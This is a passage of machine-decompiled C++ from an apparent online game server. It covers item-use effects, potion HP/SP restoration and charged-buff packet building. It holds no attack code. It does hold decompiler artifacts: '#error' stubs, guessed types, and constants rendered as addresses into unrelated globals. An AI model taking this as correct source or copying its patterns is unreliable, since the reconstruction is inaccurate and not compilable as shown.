*)&UseEffect::UseItemGuildReType::_vftable_; } // 5D1160: using guessed type int (__stdcall *UseEffect__UseItemGuildReType___vftable_)(int, int itm); //----- (00524740) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemFurnitureEndureKit::_vftable_; } // 5D1170: using guessed type int (__stdcall *UseEffect__UseItemFurnitureEndureKit___vftable_)(int, int itm); //----- (00524750) -------------------------------------------------------- int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc) { nc->protocol = 13451; *(_DWORD *)&nc[6].protocol = this->m_dEndureTime._bf0; *(_QWORD *)&nc[2].protocol = *(_QWORD *)&this->m_nKey.binary.gap0[0]; nc[1].protocol = this->m_nFurnitureHnd; return 35; } //----- (00524780) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd) { this->m_nFurnitureHnd = *nFurnitureHnd; } //----- (00524790) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey) { *(_QWORD *)&this->m_nKey.binary.gap0[0] = *(_QWORD *)&nKey->binary.gap0[0]; } //----- (005247B0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime) { this->m_dEndureTime._bf0 = dEndureTime->_bf0; } //----- (005247C0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x25Fu, 0x56u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00524870) -------------------------------------------------------- void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMysteryBolt::_vftable_; } // 5D1188: using guessed type int (__stdcall *UseEffect__UseItemMysteryBolt___vftable_)(int, int itm); //----- (00524880) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->uie_BinData.baseclass_0); memset(&v1->uie_BinData.bdb_defaultblock, 0, 0x54u); HIWORD(v1->uie_BinData.bdb_defaultblock.UseAbstateIndex) = 0; v1->uie_FuncStruct = 0; } //----- (005248B0) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->gt_Array ) operator delete(this->gt_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005248D0) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 unsigned int v2; // ST04_4@1 void *v3; // eax@1 signed int v4; // ecx@4 int v5; // eax@5 unsigned int v6; // eax@7 signed __int16 v7; // cx@10 void *v8; // eax@12 int v9; // edi@15 int v10; // ebp@16 unsigned __int16 v11; // ax@18 unsigned __int16 *v12; // ebp@24 int v13; // edi@25 SkillDataBox::SkillDataIndex *v14; // eax@25 int v15; // edi@26 unsigned int v16; // eax@38 void *v17; // ebx@42 unsigned int v18; // eax@44 signed __int16 v19; // bp@45 unsigned int v20; // eax@52 int v21; // edi@55 int v22; // ebp@56 unsigned __int16 v23; // ax@58 int v24; // edi@64 char *v25; // [sp-4h] [bp-20h]@26 unsigned int item; // [sp+10h] [bp-Ch]@7 signed __int16 itema; // [sp+10h] [bp-Ch]@45 unsigned int k; // [sp+14h] [bp-8h]@38 unsigned int num; // [sp+18h] [bp-4h]@38 v1 = this; v2 = 16 * word_12510614[0]; this->uie_MaxItemID = word_12510614[0]; v3 = operator new__(v2); v1->uie_FuncStruct = (UseEffect::UIE_Functions *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Memory leak", 0); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v4 = 0; if ( v1->uie_MaxItemID > 0u ) { v5 = 0; do { v1->uie_FuncStruct[v5].useeffectstruct = &v1->uie_DefStruct; v1->uie_FuncStruct[v5].useitemclass = (UseEffect::UseItemBase *)&ui_base; v1->uie_FuncStruct[v5].useskill = 0; v1->uie_FuncStruct[v5].broadcast = 0; ++v4; ++v5; } while ( v4 < v1->uie_MaxItemID ); } v6 = 0; for ( item = 0; ; v6 = item ) { if ( v6 < itemdatabox.idb_Itemspacies ) { if ( v6 < stru_12510A1C.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v8 = CDataReader::GetRecord(&stru_12510A1C.baseclass_0.baseclass_0, v6); else v8 = &stru_12510A1C.bdb_defaultblock; v7 = *(_WORD *)v8; } else { v7 = -1; } v9 = (unsigned __int16)v7; if ( (unsigned int)(unsigned __int16)v7 < *(_DWORD *)word_12510614 ) { v10 = unk_12510DB0 + 24 * (unsigned __int16)v7; if ( v10 ) { if ( *(_DWORD *)v10 ) { v11 = **(_WORD **)v10; if ( v11 == v7 ) goto LABEL_21; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v11 + 10000 * (unsigned __int16)v7); } } } v10 = 0; LABEL_21: if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Invalid ItemIndex", v9); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v12 = *(unsigned __int16 **)v10; switch ( *(_DWORD *)(v12 + 51) ) { case 0xB: v13 = v9; v1->uie_FuncStruct[v13].useitemclass = (UseEffect::UseItemBase *)&ui_skillscroll; v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); goto LABEL_33; case 0xC: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_recallscroll; v25 = "UseStageRecallScroll"; goto LABEL_27; case 0xF: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_chestopen; v25 = "UsePresentBox"; goto LABEL_27; case 9: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_minihousefurniture; v25 = "UseSkill"; goto LABEL_27; case 0x1B: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_actionitem; v25 = "UseSkill"; LABEL_27: v1->uie_FuncStruct[v15].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, v25); break; default: if ( *((_BYTE *)v12 + 311) != 45 ) { v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)v12 + 311); v13 = v9; LABEL_33: v1->uie_FuncStruct[v13].useskill = v14; } break; } ++item; if ( item >= itemdatabox.idb_Itemspacies ) break; } v1->uie_FuncStruct[unk_12510DE4].useitemclass = (UseEffect::UseItemBase *)&ui_Propose; v1->uie_FuncStruct[unk_12510DE4].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); if ( word_12510DEC != -1 ) { v1->uie_FuncStruct[word_12510DEC].useitemclass = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; v1->uie_FuncStruct[word_12510DEC].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); } else { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : cannot find InstantDivorce item", 0); } v1->uie_DefStruct.UseEffectC = 10; v1->uie_DefStruct.UseEffectB = 10; v1->uie_DefStruct.UseEffectA = 10; v1->uie_DefStruct.UseAbstateIndex = 391; BinaryDataBox::bdb_ReadData(&v1->uie_BinData, "../9Data/Shine/ItemUseEffect.shn"); v1->uie_FuncStruct[unk_12510DF4].useitemclass = (UseEffect::UseItemBase *)&ui_JustRevive; v1->uie_FuncStruct[unk_12510DF4].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); v16 = 0; num = v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; k = 0; if ( (signed int)num > 0 ) { while ( 1 ) { if ( v16 < v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->uie_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->uie_BinData.bdb_defaultblock; v18 = BTree::operator__(&stru_12510618, (const char *)v17); if ( v18 == -1 ) { v19 = -1; itema = -1; } else { itema = v18; v19 = v18; } if ( v19 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : Invalid item", (const char *)v17); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } if ( *((_BYTE *)v17 + 50) == 45 ) { *(_DWORD *)((char *)v17 + 82) = 391; } else { v20 = BTree::operator__(&unk_608A28, (const char *)v17 + 50); *(_DWORD *)((char *)v17 + 82) = v20; if ( v20 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : AbState wrong", (const char *)v17 + 50); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } } v21 = (unsigned __int16)v19; if ( (unsigned int)(unsigned __int16)v19 < *(_DWORD *)word_12510614 ) { v22 = unk_12510DB0 + 24 * (unsigned __int16)v19; if ( v22 ) { if ( *(_DWORD *)v22 ) { v23 = **(_WORD **)v22; if ( v23 == itema ) goto LABEL_61; AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v23 + 10000 * v21); } } } v22 = 0; LABEL_61: if ( !v22 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : Null Item", v21); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v24 = v21; if ( *(_DWORD *)(*(_DWORD *)v22 + 102) == 27 ) { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; } else { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; v1->uie_FuncStruct[v24].useitemclass = (UseEffect::UseItemBase *)&ui_bytable; v1->uie_FuncStruct[v24].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)(*(_DWORD *)v22 + 311)); } ++k; if ( (signed int)k >= (signed int)num ) return; v16 = k; } } } // 603220: using guessed type int (__stdcall **ui_base)(int, int itm); //----- (00524DF0) -------------------------------------------------------- #error "524DF0: undefined or illegal type '#331' (funcsize=79)" //----- (00524F10) -------------------------------------------------------- #error "524F10: undefined or illegal type '#331' (funcsize=65)" //----- (00525000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST04_4@8 int v14; // eax@8 char *v15; // [sp-4h] [bp-28h]@2 int iic; // [sp+10h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1244))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8892))( (char *)v3 + 35568, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v3, v5, 1, (int)"ShineObjectClass::ShinePlayer::sp_UseAmountHP"); v10 = v5 + *((_DWORD *)v3 + 8024); v11 = v10; *((_DWORD *)v3 + 8024) = v10; v12 = *((_DWORD *)v3 + 932); if ( v11 > v12 ) *((_DWORD *)v3 + 8024) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, &slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (005251B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST04_4@8 int v14; // eax@8 char *v15; // [sp-4h] [bp-28h]@2 int iic; // [sp+10h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountSP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1248))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1240))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8892))( (char *)v3 + 35568, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; v10 = v5 + *((_DWORD *)v3 + 8025); v11 = v10; *((_DWORD *)v3 + 8025) = v10; v12 = *((_DWORD *)v3 + 933); if ( v11 > v12 ) *((_DWORD *)v3 + 8025) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, &slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00525350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8892))((char *)v3 + 35568, slot); if ( v4 && *(_DWORD *)v4 == *(_DWORD *)itm && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itm + 4) ) ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(v3, v4, slot); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v3 + 2240))(v3, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); } // 4E0B60: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); //----- (00525430) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedBuff(void *ply, int itm) { void *v2; // ebp@1 signed int v3; // eax@1 ChargedItemEffect *v4; // ebx@5 DebugLogging *v5; // esi@6 _iobuf *v6; // eax@8 DebugLogging *v7; // ecx@10 int v8; // eax@12 unsigned __int16 v9; // ax@16 unsigned __int16 v10; // cx@21 unsigned int v11; // eax@21 int v12; // eax@22 bool v13; // zf@22 void *v14; // eax@22 signed int v15; // edi@24 int v16; // esi@24 bool v17; // sf@29 unsigned __int8 v18; // of@29 char *v19; // esi@32 int v20; // ecx@32 int v21; // eax@32 int v22; // edi@32 int v23; // ecx@32 int v24; // ecx@32 unsigned int v25; // eax@32 ZoneBaseSession *v26; // eax@34 ZoneBaseSession *v27; // eax@37 char *v28; // eax@38 int v29; // ecx@38 int v30; // edx@38 int v31; // edx@38 unsigned int v32; // ecx@38 int v33; // eax@40 unsigned int v34; // esi@41 int v35; // eax@41 int v36; // esi@42 int v37; // eax@42 DebugLineFeed *v38; // [sp+1Ch] [bp-6Ch]@10 ChargedItemEffectFinger finger; // [sp+30h] [bp-58h]@1 int k; // [sp+34h] [bp-54h]@20 void *dic; // [sp+38h] [bp-50h]@21 ChargedItemEffectList::ChargedItemEffectElement *cie; // [sp+3Ch] [bp-4Ch]@13 int v43; // [sp+40h] [bp-48h]@12 FunctionEntarance _; // [sp+44h] [bp-44h]@1 ChargedItemEffectList::ChargedEffectListRouter celr; // [sp+48h] [bp-40h]@41 struct tm timestr; // [sp+58h] [bp-30h]@16 int v47; // [sp+84h] [bp-4h]@1 v2 = ply; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v47) = 1; v3 = -1; do { if ( v3 >= -1 ) { ++v3; finger.cief_Finger = v3; if ( v3 < chargedbuffdatabox.cideb_Total ) continue; } finger.cief_Finger = -10; goto LABEL_6; } while ( chargedbuffdatabox.cideb_Array[v3].ce_ItemID != *(_WORD *)(itm + 8) ); v4 = chargedbuffdatabox.cideb_Array[v3].ce_Data; if ( !v4 ) { LABEL_6: v5 = DebugLogging::operator<<( &ChargedItemLog, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff : This effect is already set "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v38 = &deb_LF; v7 = v5; goto LABEL_15; } v8 = *((_WORD *)v2 + 45538); v43 = v8; if ( (_WORD)v8 == -1 || (cie = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__stdcall **)(int))(*((_DWORD *)v2 + 22766) + 4))(v8)) == 0 ) { v38 = &deb_LF; v7 = DebugLogging::operator<<(&ChargedItemLog, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff : Too many buff"); LABEL_15: DebugLogging::operator<<(v7, v38); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v47 = -1; goto LABEL_44; } memcpy((void *)×tr, &stru_7BC0CC, sizeof(timestr)); v9 = v4->KeepTime_Hour; if ( v9 ) { timestr.tm_hour = v9 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); } else { timestr.tm_year = 355; timestr.tm_mon = 11; timestr.tm_mday = 31; timestr.tm_hour = 23; timestr.tm_min = 59; } if ( v4->EffectEnum == 31 ) { k = 0; while ( 1 ) { v10 = v4->EffectValue; v11 = v4->EffectValue; dic = (void *)(unk_608004 >= v11); if ( unk_608004 < v11 ) break; v12 = 728 * v11; v13 = unk_607FFC + v12 == 0; v14 = (void *)(unk_607FFC + v12); dic = v14; if ( !v13 && *(_DWORD *)v14 ) { v15 = *(_DWORD *)(*(_DWORD *)v14 + 34); v16 = 3600000 * v4->KeepTime_Hour; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, _DWORD, void *, unsigned int, _DWORD, _DWORD, int, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, *(_DWORD *)(*(_DWORD *)v14 + 34), v4->StaStrength, v14, clockwatch.cw_CurrTick, 0, 0, 3600000 * v4->KeepTime_Hour, 11) ) { if ( !*(_DWORD *)(*(_DWORD *)dic + 204) || !*(_DWORD *)(*(_DWORD *)dic + 208) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v15); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, v15, v16, v4->StaStrength); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 992))(v2, v15, v16, 1); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); } v18 = __OFSUB__(k + 1, 1); v17 = k++ < 0; if ( v17 ^ v18 ) continue; } goto LABEL_32; } AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v10); } LABEL_32: ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( cie, v4, timestr.tm_year - 100, timestr.tm_mon + 1, timestr.tm_mday, timestr.tm_hour, timestr.tm_min); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28671; *(_DWORD *)(v19 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 6) = *(_DWORD *)itm; *(_DWORD *)(v19 + 10) = *(_DWORD *)(itm + 4); *((_WORD *)v19 + 7) = *(_WORD *)(itm + 8); *((_WORD *)v19 + 10) = v4->Handle; *(_DWORD *)(v19 + 22) = chargeditemcheck._bf0; v19[26] = LOBYTE(timestr.tm_year) - 100; v20 = ((unsigned __int16)*(_DWORD *)(v19 + 26) ^ (unsigned __int16)((LOWORD(timestr.tm_mon) + 1) << 8)) & 0x1F00 ^ *(_DWORD *)(v19 + 26); *(_DWORD *)(v19 + 26) = v20; v21 = v20; v22 = (unsigned __int16)v43; v23 = v20 ^ (timestr.tm_mday << 13); v24 = v21 ^ v23 & 0x7E000; *(_DWORD *)(v19 + 26) = v24; v25 = v24 ^ (unsigned int)&wholesaver.ws_savestore[314].gapf2b8[8256] & (v24 ^ (timestr.tm_hour << 19)); *(_DWORD *)(v19 + 26) = v25; *(_DWORD *)(v19 + 26) = (timestr.tm_min << 25) | (unsigned int)&wholesaver.ws_savestore[321].esc_skill.buffer[9603] & v25; *((_DWORD *)v19 + 4) = v22; *(_DWORD *)(v19 + 30) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 34) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v26); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff1 : Packet Too Long", 34); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 34) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v27); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff2 : Packet Too Long", 34); } v28 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28669; *((_WORD *)v28 + 3) = v4->Handle; *((_DWORD *)v28 + 2) = chargeditemcheck._bf0; v28[12] = LOBYTE(timestr.tm_year) - 100; v29 = ((unsigned __int16)*((_DWORD *)v28 + 3) ^ (unsigned __int16)((LOWORD(timestr.tm_mon) + 1) << 8)) & 0x1F00 ^ *((_DWORD *)v28 + 3); *((_DWORD *)v28 + 3) = v29; v30 = v29 ^ (timestr.tm_mday << 13); v31 = v29 ^ v30 & 0x7E000; *((_DWORD *)v28 + 3) = v31; v32 = v31 ^ (unsigned int)&wholesaver.ws_savestore[314].gapf2b8[8256] & (v31 ^ (timestr.tm_hour << 19)); *((_DWORD *)v28 + 3) = v32; *((_DWORD *)v28 + 3) = (timestr.tm_min << 25) | (unsigned int)&wholesaver.ws_savestore[321].esc_skill.buffer[9603] & v32; *(_DWORD *)(v28 + 2) = v22; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v33 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v33 + 12))(v33, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff3 : Packet Too Long", 16); } ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter( &celr, (ChargedItemEffectList::ChargedItem *)((char *)v2 + 91064), (#440 *)v2); memcpy((char *)v2 + 91688, &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x24u); LOBYTE(v47) = 2; List::l_4AllInList((List *)((char *)v2 + 91064), (ListIteratorDefault *)&celr); *((_BYTE *)v2 + 3708) = 1; LOBYTE(v47) = 1; ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter(&celr); v34 = clockwatch.cw_CurrTick; v35 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 976))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int, unsigned int))(*(_DWORD *)v2 + 2672))( v2, 29200, v34 + ((signed int)((unsigned __int64)(10 * v35 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v35 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)) ) { v36 = *(_DWORD *)v2; v37 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 976))(v2); (*(void (__thiscall **)(void *, signed int, unsigned int))(v36 + 884))( v2, 29200, ((signed int)((unsigned __int64)(v37 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v37 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 860))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 872))(v2); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 52))(v2, 1); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v47 = -1; LABEL_44: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChargedBuff"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 1246F164: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (00525A00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr) { void *v4; // esi@1 int v5; // ebx@8 